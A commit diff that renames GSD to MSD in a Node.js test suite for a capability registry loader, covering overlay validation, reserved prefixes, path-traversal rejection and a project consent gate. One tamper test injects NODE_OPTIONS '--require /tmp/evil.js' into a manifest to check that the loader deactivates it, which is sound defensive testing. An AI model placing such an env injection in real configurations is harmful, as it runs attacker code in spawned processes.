refactor: hard-fork GSD -> MSD (Make Software Done)
Mechanical rename produced by scripts/msd-rename.cjs: gsd/Gsd/GSD -> msd/Msd/MSD across contents and paths, upstream package/repo coordinates -> @golem15/msd-core and golem15com/msd-core. Deep links into upstream history, sibling upstream packages, the GSD-2 import feature, CHANGELOG.md and .changeset/ are kept as-is. Hand edits on top: MSD block-letter banner and logos, LICENSE copyright line, package/plugin identity, regenerated lockfile, install-tree fixtures, derived registries and benchmark baseline; migration checksum baseline re-locked (MSD keeps its own install state, so no install had applied the old sums); sort-order and regex-escaped expectations in tests adjusted.
This commit is contained in:
@@ -5,7 +5,7 @@
|
||||
*
|
||||
* Behavioral tests for loadRegistry({ includeInstalled }): first-party ∪
|
||||
* validated overlay composition, first-party-wins collisions, reserved
|
||||
* namespace, engines.gsd load-time re-gate (skip-with-warning), gate-kind
|
||||
* namespace, engines.msd load-time re-gate (skip-with-warning), gate-kind
|
||||
* fail-closed tracking, and parity with the canonical builder.
|
||||
*/
|
||||
|
||||
@@ -18,8 +18,8 @@ const path = require('node:path');
|
||||
const { cleanup } = require('./helpers.cjs');
|
||||
const { runHook } = require('./helpers/process-seam.cjs');
|
||||
const { throwIfFailed } = require('./helpers/git-fixture.cjs');
|
||||
const { loadRegistry, _setValidatorForTest, _setGeneratorForTest } = require('../gsd-core/bin/lib/capability-loader.cjs');
|
||||
const baseRegistry = require('../gsd-core/bin/lib/capability-registry.cjs');
|
||||
const { loadRegistry, _setValidatorForTest, _setGeneratorForTest } = require('../msd-core/bin/lib/capability-loader.cjs');
|
||||
const baseRegistry = require('../msd-core/bin/lib/capability-registry.cjs');
|
||||
const { buildRegistry } = require('../scripts/gen-capability-registry.cjs');
|
||||
|
||||
const HOST = '1.6.0';
|
||||
@@ -36,18 +36,18 @@ function mkfifo(fifoPath) {
|
||||
function featureCap(id, extra) {
|
||||
return {
|
||||
id, role: 'feature', version: '1.0.0', title: id, description: 'overlay cap',
|
||||
tier: 'standard', requires: [], engines: { gsd: '>=1.0.0' },
|
||||
tier: 'standard', requires: [], engines: { msd: '>=1.0.0' },
|
||||
runtimeCompat: { supported: ['*'], unsupported: [] },
|
||||
skills: [], agents: [], hooks: [], config: {}, steps: [], contributions: [], gates: [],
|
||||
...extra,
|
||||
};
|
||||
}
|
||||
|
||||
// Build a temp GSD home containing .gsd/capabilities/<id>/capability.json for each cap.
|
||||
// Build a temp MSD home containing .msd/capabilities/<id>/capability.json for each cap.
|
||||
function makeOverlayHome(caps) {
|
||||
const home = fs.mkdtempSync(path.join(os.tmpdir(), 'cap-overlay-'));
|
||||
for (const cap of caps) {
|
||||
const dir = path.join(home, '.gsd', 'capabilities', cap.id);
|
||||
const dir = path.join(home, '.msd', 'capabilities', cap.id);
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(cap), 'utf8');
|
||||
}
|
||||
@@ -57,7 +57,7 @@ function makeOverlayHome(caps) {
|
||||
// Always pass cwd === home so the project-root probe cannot wander into the
|
||||
// real repo; root-dedup makes the project scope a no-op there.
|
||||
function load(home, opts) {
|
||||
return loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST, ...opts });
|
||||
return loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST, ...opts });
|
||||
}
|
||||
|
||||
describe('loadRegistry — base behavior', () => {
|
||||
@@ -81,7 +81,7 @@ describe('loadRegistry — accepting valid overlays', () => {
|
||||
const home = makeOverlayHome([
|
||||
featureCap('deploy-gate', {
|
||||
skills: ['deploy-review'],
|
||||
agents: ['gsd-deploy-checker'],
|
||||
agents: ['msd-deploy-checker'],
|
||||
config: { 'workflow.deploy_gate': { type: 'boolean', default: true, description: 'Enable the deploy gate.' } },
|
||||
steps: [{ point: 'execute:wave:post', ref: { skill: 'deploy-review' }, produces: ['DEPLOY.md'], consumes: [], when: 'workflow.deploy_gate', onError: 'skip' }],
|
||||
}),
|
||||
@@ -91,7 +91,7 @@ describe('loadRegistry — accepting valid overlays', () => {
|
||||
|
||||
assert.ok(reg.capabilities['deploy-gate'], 'overlay in capabilities');
|
||||
assert.equal(reg.bySkill['deploy-review'], 'deploy-gate', 'overlay skill indexed (surface)');
|
||||
assert.equal(reg.byAgent['gsd-deploy-checker'], 'deploy-gate', 'overlay agent indexed');
|
||||
assert.equal(reg.byAgent['msd-deploy-checker'], 'deploy-gate', 'overlay agent indexed');
|
||||
assert.ok(reg.configSchema['workflow.deploy_gate'], 'overlay config federated');
|
||||
assert.equal(reg.configKeys['workflow.deploy_gate'], 'deploy-gate', 'overlay config key owned');
|
||||
assert.ok(reg.capabilityClusters['deploy-gate'], 'overlay in capabilityClusters (surface toggle)');
|
||||
@@ -129,7 +129,7 @@ describe('loadRegistry — uncommitted (_pending) overlay is not activated (ADR-
|
||||
t.after(() => cleanup(home));
|
||||
// Co-located ledger marks the cap as an in-flight (uncommitted) install.
|
||||
fs.writeFileSync(
|
||||
path.join(home, '.gsd-capabilities.json'),
|
||||
path.join(home, '.msd-capabilities.json'),
|
||||
JSON.stringify({
|
||||
version: '1', updatedAt: '2026-01-01T00:00:00Z',
|
||||
entries: { pendingcap: { id: 'pendingcap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [], _pending: { kind: 'install', backupName: null, sharedFiles: [] } } },
|
||||
@@ -145,7 +145,7 @@ describe('loadRegistry — uncommitted (_pending) overlay is not activated (ADR-
|
||||
const home = makeOverlayHome([featureCap('committedcap', { skills: ['committed-skill'] })]);
|
||||
t.after(() => cleanup(home));
|
||||
fs.writeFileSync(
|
||||
path.join(home, '.gsd-capabilities.json'),
|
||||
path.join(home, '.msd-capabilities.json'),
|
||||
JSON.stringify({
|
||||
version: '1', updatedAt: '2026-01-01T00:00:00Z',
|
||||
entries: { committedcap: { id: 'committedcap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } },
|
||||
@@ -162,7 +162,7 @@ describe('loadRegistry — _overlay.commandRoots (ADR-1244 Phase 5 dispatch)', (
|
||||
function writeCommittedLedger(home, ids) {
|
||||
const entries = {};
|
||||
for (const id of ids) entries[id] = { id, version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] };
|
||||
fs.writeFileSync(path.join(home, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries }), 'utf8');
|
||||
fs.writeFileSync(path.join(home, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries }), 'utf8');
|
||||
}
|
||||
|
||||
test('a COMMITTED overlay cap that declares commands records its absolute install root', (t) => {
|
||||
@@ -172,11 +172,11 @@ describe('loadRegistry — _overlay.commandRoots (ADR-1244 Phase 5 dispatch)', (
|
||||
const reg = load(home);
|
||||
assert.ok(reg.capabilities['tpcap'], 'overlay cap accepted');
|
||||
assert.ok(reg._overlay && reg._overlay.commandRoots, '_overlay.commandRoots present');
|
||||
assert.strictEqual(reg._overlay.commandRoots['tpcap'], path.join(home, '.gsd', 'capabilities', 'tpcap'), 'install root recorded');
|
||||
assert.strictEqual(reg._overlay.commandRoots['tpcap'], path.join(home, '.msd', 'capabilities', 'tpcap'), 'install root recorded');
|
||||
});
|
||||
|
||||
test('COMMITTED-LEDGER NEGATIVE PROOF: a GLOBAL cap with commands but NO ledger entry (bundle dropped on disk) is NOT in commandRoots', (t) => {
|
||||
// No ledger written at all — models a repo that ships .gsd/capabilities/<id> without an install.
|
||||
// No ledger written at all — models a repo that ships .msd/capabilities/<id> without an install.
|
||||
const home = makeOverlayHome([featureCap('dropped', { commands: [{ family: 'dropped-cmd', module: 'router.cjs', router: 'run' }] })]);
|
||||
t.after(() => cleanup(home));
|
||||
const reg = load(home);
|
||||
@@ -203,7 +203,7 @@ describe('loadRegistry — _overlay.commandRoots (ADR-1244 Phase 5 dispatch)', (
|
||||
const home = makeOverlayHome([featureCap('pendcmd', { commands: [{ family: 'pend-cmd', module: 'router.cjs', router: 'run' }] })]);
|
||||
t.after(() => cleanup(home));
|
||||
fs.writeFileSync(
|
||||
path.join(home, '.gsd-capabilities.json'),
|
||||
path.join(home, '.msd-capabilities.json'),
|
||||
JSON.stringify({
|
||||
version: '1', updatedAt: '2026-01-01T00:00:00Z',
|
||||
entries: { pendcmd: { id: 'pendcmd', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [], _pending: { kind: 'install', backupName: null, sharedFiles: [] } } },
|
||||
@@ -224,7 +224,7 @@ describe('loadRegistry — _overlay.commandRoots (ADR-1244 Phase 5 dispatch)', (
|
||||
]);
|
||||
t.after(() => cleanup(home));
|
||||
fs.writeFileSync(
|
||||
path.join(home, '.gsd-capabilities.json'),
|
||||
path.join(home, '.msd-capabilities.json'),
|
||||
JSON.stringify({
|
||||
version: '1', updatedAt: '2026-01-01T00:00:00Z',
|
||||
entries: {
|
||||
@@ -268,22 +268,22 @@ describe('loadRegistry — first-party always wins', () => {
|
||||
assert.ok(reg._overlay.warnings.some((w) => w.id === 'skill-thief' && /skill/i.test(w.reason)));
|
||||
});
|
||||
|
||||
test('reserved id prefix (gsd-/gsd-core-/anthropic-) is rejected', (t) => {
|
||||
test('reserved id prefix (msd-/msd-core-/anthropic-) is rejected', (t) => {
|
||||
const home = makeOverlayHome([
|
||||
featureCap('gsd-impostor'),
|
||||
featureCap('msd-impostor'),
|
||||
featureCap('anthropic-impostor'),
|
||||
]);
|
||||
t.after(() => cleanup(home));
|
||||
const reg = load(home);
|
||||
assert.ok(!reg.capabilities['gsd-impostor']);
|
||||
assert.ok(!reg.capabilities['msd-impostor']);
|
||||
assert.ok(!reg.capabilities['anthropic-impostor']);
|
||||
assert.equal(reg._overlay.warnings.filter((w) => /reserved/i.test(w.reason)).length, 2);
|
||||
});
|
||||
});
|
||||
|
||||
describe('loadRegistry — load-time re-gate (engines.gsd) + fail-closed gates', () => {
|
||||
test('incompatible engines.gsd is skipped with a warning', (t) => {
|
||||
const home = makeOverlayHome([featureCap('future-cap', { engines: { gsd: '>=99.0.0' } })]);
|
||||
describe('loadRegistry — load-time re-gate (engines.msd) + fail-closed gates', () => {
|
||||
test('incompatible engines.msd is skipped with a warning', (t) => {
|
||||
const home = makeOverlayHome([featureCap('future-cap', { engines: { msd: '>=99.0.0' } })]);
|
||||
t.after(() => cleanup(home));
|
||||
const reg = load(home);
|
||||
assert.ok(!reg.capabilities['future-cap']);
|
||||
@@ -294,7 +294,7 @@ describe('loadRegistry — load-time re-gate (engines.gsd) + fail-closed gates',
|
||||
test('a skipped capability that DECLARES a gate is recorded for fail-closed handling', (t) => {
|
||||
const home = makeOverlayHome([
|
||||
featureCap('incompat-gate', {
|
||||
engines: { gsd: '>=99.0.0' },
|
||||
engines: { msd: '>=99.0.0' },
|
||||
gates: [{ point: 'execute:wave:post', check: { query: 'x.deploy' }, blocking: true, onError: 'halt' }],
|
||||
}),
|
||||
]);
|
||||
@@ -308,8 +308,8 @@ describe('loadRegistry — load-time re-gate (engines.gsd) + fail-closed gates',
|
||||
);
|
||||
});
|
||||
|
||||
test('compatible engines.gsd is accepted', (t) => {
|
||||
const home = makeOverlayHome([featureCap('compat-cap', { engines: { gsd: '>=1.6.0 <3.0.0' } })]);
|
||||
test('compatible engines.msd is accepted', (t) => {
|
||||
const home = makeOverlayHome([featureCap('compat-cap', { engines: { msd: '>=1.6.0 <3.0.0' } })]);
|
||||
t.after(() => cleanup(home));
|
||||
const reg = load(home);
|
||||
assert.ok(reg.capabilities['compat-cap']);
|
||||
@@ -331,7 +331,7 @@ describe('loadRegistry — malformed overlays are skipped, never crash', () => {
|
||||
test('unreadable / invalid JSON is skipped with a warning (no throw)', (t) => {
|
||||
const home = fs.mkdtempSync(path.join(os.tmpdir(), 'cap-badjson-'));
|
||||
t.after(() => cleanup(home));
|
||||
const dir = path.join(home, '.gsd', 'capabilities', 'broken');
|
||||
const dir = path.join(home, '.msd', 'capabilities', 'broken');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), '{ not valid json', 'utf8');
|
||||
let reg;
|
||||
@@ -342,7 +342,7 @@ describe('loadRegistry — malformed overlays are skipped, never crash', () => {
|
||||
|
||||
test('the loop never crashes — first-party registry remains fully intact alongside bad overlays', (t) => {
|
||||
const home = makeOverlayHome([
|
||||
featureCap('gsd-reserved'),
|
||||
featureCap('msd-reserved'),
|
||||
(() => { const c = featureCap('bad'); c.role = 'nonsense'; return c; })(),
|
||||
featureCap('good', { skills: ['good-only-skill'] }),
|
||||
]);
|
||||
@@ -394,7 +394,7 @@ describe('loadRegistry — full merged-set cross-capability validation', () => {
|
||||
// TV-14: prove the fragment path GENUINELY escapes the capability dir (so the rejection below is a
|
||||
// real traversal-rejection, not a fragment that happened to resolve inside). The resolved target
|
||||
// must NOT be under capDir.
|
||||
const capDirAbs = path.join(home, '.gsd', 'capabilities', 'frag-escape');
|
||||
const capDirAbs = path.join(home, '.msd', 'capabilities', 'frag-escape');
|
||||
const resolvedFragment = path.resolve(capDirAbs, fragmentRel);
|
||||
const withinCapDir = resolvedFragment === capDirAbs || resolvedFragment.startsWith(capDirAbs + path.sep);
|
||||
assert.ok(!withinCapDir, `precondition: ${fragmentRel} resolves OUTSIDE capDir (${resolvedFragment} not under ${capDirAbs})`);
|
||||
@@ -405,12 +405,12 @@ describe('loadRegistry — full merged-set cross-capability validation', () => {
|
||||
});
|
||||
|
||||
describe('loadRegistry — project-scoped overlay root', () => {
|
||||
test('reads an overlay from <projectRoot>/.gsd/capabilities when cwd is inside a project (WITH consent)', (t) => {
|
||||
test('reads an overlay from <projectRoot>/.msd/capabilities when cwd is inside a project (WITH consent)', (t) => {
|
||||
const proj = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-proj-')));
|
||||
t.after(() => cleanup(proj));
|
||||
fs.mkdirSync(path.join(proj, '.planning'), { recursive: true }); // project-root marker
|
||||
const cap = featureCap('proj-cap', { skills: ['proj-skill'] });
|
||||
const dir = path.join(proj, '.gsd', 'capabilities', 'proj-cap');
|
||||
const dir = path.join(proj, '.msd', 'capabilities', 'proj-cap');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(cap), 'utf8');
|
||||
|
||||
@@ -423,7 +423,7 @@ describe('loadRegistry — project-scoped overlay root', () => {
|
||||
writeProjectLedger(proj, [{ id: 'proj-cap', integrity: 'sha512-i' }]);
|
||||
recordConsent(emptyHome, proj, 'proj-cap', 'sha512-i', cap, dir);
|
||||
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: emptyHome, cwd: proj, hostVersion: HOST });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: emptyHome, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['proj-cap'], 'project-scoped overlay loaded once consented');
|
||||
});
|
||||
});
|
||||
@@ -432,16 +432,16 @@ describe('loadRegistry — project-scoped overlay root', () => {
|
||||
// TRUST-1 / TRUST-3 — user-owned consent store gates PROJECT-scope activation (#1459)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const trust = require('../gsd-core/bin/lib/capability-trust.cjs');
|
||||
const consentMod = require('../gsd-core/bin/lib/capability-consent.cjs');
|
||||
const trust = require('../msd-core/bin/lib/capability-trust.cjs');
|
||||
const consentMod = require('../msd-core/bin/lib/capability-consent.cjs');
|
||||
|
||||
// Write a per-scope COMMITTED ledger (no _pending) co-located with the scope's .gsd dir.
|
||||
// Write a per-scope COMMITTED ledger (no _pending) co-located with the scope's .msd dir.
|
||||
function writeProjectLedger(projRoot, entries) {
|
||||
const map = {};
|
||||
for (const e of entries) {
|
||||
map[e.id] = { id: e.id, version: '1.0.0', source: 's', integrity: e.integrity || '', files: [], sharedEdits: [], ...(e.pending ? { _pending: e.pending } : {}) };
|
||||
}
|
||||
fs.writeFileSync(path.join(projRoot, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: map }), 'utf8');
|
||||
fs.writeFileSync(path.join(projRoot, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: map }), 'utf8');
|
||||
}
|
||||
|
||||
// Record a user consent in the consent store under `home` (NOT under the project). #1459 CB-1/CB-2:
|
||||
@@ -450,7 +450,7 @@ function writeProjectLedger(projRoot, entries) {
|
||||
// are kept on the record for the disclosure/re-consent UX but are no longer the binding.
|
||||
function recordConsent(home, projRoot, id, integrity, cap, capDir) {
|
||||
consentMod.recordProjectConsent({
|
||||
gsdHome: home,
|
||||
msdHome: home,
|
||||
projectRoot: projRoot,
|
||||
id,
|
||||
integrity,
|
||||
@@ -467,7 +467,7 @@ function projectFixture(prefix) {
|
||||
fs.mkdirSync(path.join(proj, '.planning'), { recursive: true }); // project-root marker
|
||||
const home = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-trust1-home-')));
|
||||
const writeCap = (cap) => {
|
||||
const dir = path.join(proj, '.gsd', 'capabilities', cap.id);
|
||||
const dir = path.join(proj, '.msd', 'capabilities', cap.id);
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(cap), 'utf8');
|
||||
return dir;
|
||||
@@ -481,7 +481,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
t.after(() => { cleanup(proj); cleanup(home); });
|
||||
const cap = featureCap('forged-cap', {
|
||||
skills: ['forged-skill'],
|
||||
agents: ['gsd-forged'],
|
||||
agents: ['msd-forged'],
|
||||
config: { 'workflow.forged': { type: 'boolean', default: true, description: 'd' } },
|
||||
steps: [{ point: 'execute:wave:post', ref: { skill: 'forged-skill' }, produces: ['F.md'], consumes: [], when: 'workflow.forged', onError: 'skip' }],
|
||||
commands: [{ family: 'forged-cmd', module: 'router.cjs', router: 'run' }],
|
||||
@@ -491,7 +491,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
writeProjectLedger(proj, [{ id: 'forged-cap', integrity: 'sha512-i' }]);
|
||||
// No consent record written.
|
||||
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
// TV-01/02 — POSITIVE PRECONDITIONS: the derived views the negative proof consults MUST exist and
|
||||
// be meaningful, so an absence assertion below is not vacuously satisfied by a missing/empty view.
|
||||
// First-party always composes these views (they are non-empty), so an undefined entry there is a
|
||||
@@ -505,7 +505,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
// Absent from EVERY derived view (TRUST-3: no declarative surfaces) — asserted DIRECTLY (no guard).
|
||||
assert.ok(reg.capabilities['forged-cap'] === undefined, 'inactive: absent from capabilities');
|
||||
assert.ok(reg.bySkill['forged-skill'] === undefined, 'no skill surface');
|
||||
assert.ok(reg.byAgent['gsd-forged'] === undefined, 'no agent surface');
|
||||
assert.ok(reg.byAgent['msd-forged'] === undefined, 'no agent surface');
|
||||
assert.ok(reg.configSchema['workflow.forged'] === undefined, 'no federated config');
|
||||
assert.ok(!wavePost.steps.some((h) => h.capId === 'forged-cap'), 'no loop step');
|
||||
// commandRoots empty (TRUST-1: no command dispatch).
|
||||
@@ -520,7 +520,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
t.after(() => { cleanup(proj); cleanup(home); });
|
||||
const cap = featureCap('ok-cap', {
|
||||
skills: ['ok-skill'],
|
||||
agents: ['gsd-ok'],
|
||||
agents: ['msd-ok'],
|
||||
config: { 'workflow.ok': { type: 'boolean', default: true, description: 'd' } },
|
||||
steps: [{ point: 'execute:wave:post', ref: { skill: 'ok-skill' }, produces: ['OK.md'], consumes: [], when: 'workflow.ok', onError: 'skip' }],
|
||||
commands: [{ family: 'ok-cmd', module: 'router.cjs', router: 'run' }],
|
||||
@@ -529,10 +529,10 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
writeProjectLedger(proj, [{ id: 'ok-cap', integrity: 'sha512-ok' }]);
|
||||
recordConsent(home, proj, 'ok-cap', 'sha512-ok', cap, dir);
|
||||
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['ok-cap'], 'active: in capabilities');
|
||||
assert.equal(reg.bySkill['ok-skill'], 'ok-cap', 'skill surface present');
|
||||
assert.equal(reg.byAgent['gsd-ok'], 'ok-cap', 'agent surface present');
|
||||
assert.equal(reg.byAgent['msd-ok'], 'ok-cap', 'agent surface present');
|
||||
assert.ok(reg.configSchema['workflow.ok'], 'federated config present');
|
||||
const wavePost = reg.byLoopPoint['execute:wave:post'];
|
||||
assert.ok(wavePost && wavePost.steps.some((h) => h.capId === 'ok-cap'), 'loop step wired');
|
||||
@@ -552,7 +552,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
});
|
||||
writeCap(cap);
|
||||
writeProjectLedger(proj, [{ id: 'gate-cap', integrity: 'sha512-g' }]); // committed but unconsented
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
// POSITIVE PRECONDITION: the loop point view MUST exist so the "no gate/step" assertions below are
|
||||
// meaningful (first-party composes byLoopPoint['execute:wave:post']).
|
||||
const wavePost = reg.byLoopPoint['execute:wave:post'];
|
||||
@@ -567,13 +567,13 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
const home = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'cap-global-')));
|
||||
t.after(() => cleanup(home));
|
||||
const cap = featureCap('global-cap', { skills: ['global-skill'], commands: [{ family: 'g-cmd', module: 'router.cjs', router: 'run' }] });
|
||||
const dir = path.join(home, '.gsd', 'capabilities', 'global-cap');
|
||||
const dir = path.join(home, '.msd', 'capabilities', 'global-cap');
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(cap), 'utf8');
|
||||
// Co-located GLOBAL ledger (committed) — no consent record required for global scope.
|
||||
fs.writeFileSync(path.join(home, '.gsd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'global-cap': { id: 'global-cap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
fs.writeFileSync(path.join(home, '.msd-capabilities.json'), JSON.stringify({ version: '1', updatedAt: '2026-01-01T00:00:00Z', entries: { 'global-cap': { id: 'global-cap', version: '1.0.0', source: 's', integrity: '', files: [], sharedEdits: [] } } }), 'utf8');
|
||||
// cwd === home so the project probe is a no-op (root-dedup), isolating the GLOBAL scope.
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['global-cap'], 'global overlay active without a consent record');
|
||||
assert.strictEqual(reg._overlay.commandRoots['global-cap'], dir, 'global command root recorded');
|
||||
});
|
||||
@@ -586,7 +586,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
writeProjectLedger(proj, [{ id: 'pending-proj', integrity: 'i', pending: { kind: 'install', backupName: null, sharedFiles: [] } }]);
|
||||
// Even with a consent record, a _pending entry is deferred (uncommitted).
|
||||
recordConsent(home, proj, 'pending-proj', 'i', cap, dir);
|
||||
const reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
const reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['pending-proj'], 'pending project cap not active');
|
||||
assert.ok(reg._overlay.warnings.some((w) => w.id === 'pending-proj' && /in progress/.test(w.reason)), 'pending warning recorded');
|
||||
});
|
||||
@@ -598,10 +598,10 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
writeCap(cap);
|
||||
writeProjectLedger(proj, [{ id: 'corrupt-consent-cap', integrity: 'i' }]);
|
||||
// Corrupt the consent store.
|
||||
fs.mkdirSync(path.join(home, '.gsd'), { recursive: true });
|
||||
fs.mkdirSync(path.join(home, '.msd'), { recursive: true });
|
||||
fs.writeFileSync(consentMod.consentStorePath(home), '{ not json', 'utf8');
|
||||
let reg;
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST }); });
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST }); });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['corrupt-consent-cap'], 'corrupt consent → fail closed inactive');
|
||||
});
|
||||
|
||||
@@ -609,9 +609,9 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
const { proj, home, writeCap } = projectFixture();
|
||||
t.after(() => { cleanup(proj); cleanup(home); });
|
||||
writeCap(featureCap('fifo-ledger-cap', { skills: ['fifo-skill'] }));
|
||||
mkfifo(path.join(proj, '.gsd-capabilities.json'));
|
||||
mkfifo(path.join(proj, '.msd-capabilities.json'));
|
||||
let reg;
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST }); });
|
||||
assert.doesNotThrow(() => { reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST }); });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['fifo-ledger-cap'], 'FIFO ledger → no committed ids → inactive');
|
||||
});
|
||||
|
||||
@@ -627,7 +627,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
writeProjectLedger(proj, [{ id: 'drift-cap', integrity: 'sha512-d' }]);
|
||||
recordConsent(home, proj, 'drift-cap', 'sha512-d', consentedCap, dir);
|
||||
// Active before the drift.
|
||||
let reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
let reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['drift-cap'], 'active before the manifest drift');
|
||||
// Now the on-disk manifest is tampered to add a dangerous env — the RECOMPUTED bundle content hash
|
||||
// changes, so it no longer matches the consented record.
|
||||
@@ -636,7 +636,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
mcpServers: { srv: { command: 'node', args: ['s.js'], env: { NODE_OPTIONS: '--require /tmp/evil.js' } } },
|
||||
});
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(driftedCap), 'utf8');
|
||||
reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['drift-cap'] === undefined, 'deactivates: the consented content hash no longer matches the drifted bundle');
|
||||
assert.ok(reg._overlay.warnings.some((w) => w.id === 'drift-cap' && w.kind === 'unconsented'), 'inactive-no-consent warning after drift');
|
||||
// TV-04: the loader must NOT silently re-bind consent to the drifted bundle. The consent record's
|
||||
@@ -645,7 +645,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
// revert-fails: if the loader re-recorded consent for the drifted bundle on load, this would be true.
|
||||
const driftedHash = consentMod.bundleContentHash(dir);
|
||||
assert.strictEqual(
|
||||
consentMod.hasProjectConsent({ gsdHome: home, projectRoot: proj, id: 'drift-cap', contentHash: driftedHash }),
|
||||
consentMod.hasProjectConsent({ msdHome: home, projectRoot: proj, id: 'drift-cap', contentHash: driftedHash }),
|
||||
false,
|
||||
'consent was NOT auto-updated to the drifted bundle hash (no silent re-consent on load)',
|
||||
);
|
||||
@@ -667,7 +667,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
const dir = writeCap(consentedCap);
|
||||
writeProjectLedger(proj, [{ id: 'decl-swap', integrity: 'sha512-ds' }]);
|
||||
recordConsent(home, proj, 'decl-swap', 'sha512-ds', consentedCap, dir);
|
||||
let reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
let reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(reg.capabilities['decl-swap'], 'active before the declarative swap');
|
||||
// Repo-write attacker swaps the declarative manifest to inject a blocking gate — signature is still
|
||||
// constant (no executable surface) but the bundle content (and thus the contentHash) changed.
|
||||
@@ -680,7 +680,7 @@ describe('loadRegistry — project-scope consent gate (#1459)', () => {
|
||||
// Sanity: the executable-surface signature is unchanged by this declarative swap.
|
||||
assert.strictEqual(trust.signatureForManifest(consentedCap), trust.signatureForManifest(swapped), 'declarative swap leaves the disclosure signature CONSTANT (so signature-binding would not catch it)');
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(swapped), 'utf8');
|
||||
reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: proj, hostVersion: HOST });
|
||||
reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: proj, hostVersion: HOST });
|
||||
assert.ok(!reg.capabilities || !reg.capabilities['decl-swap'], 'declarative swap deactivates via the content-hash binding');
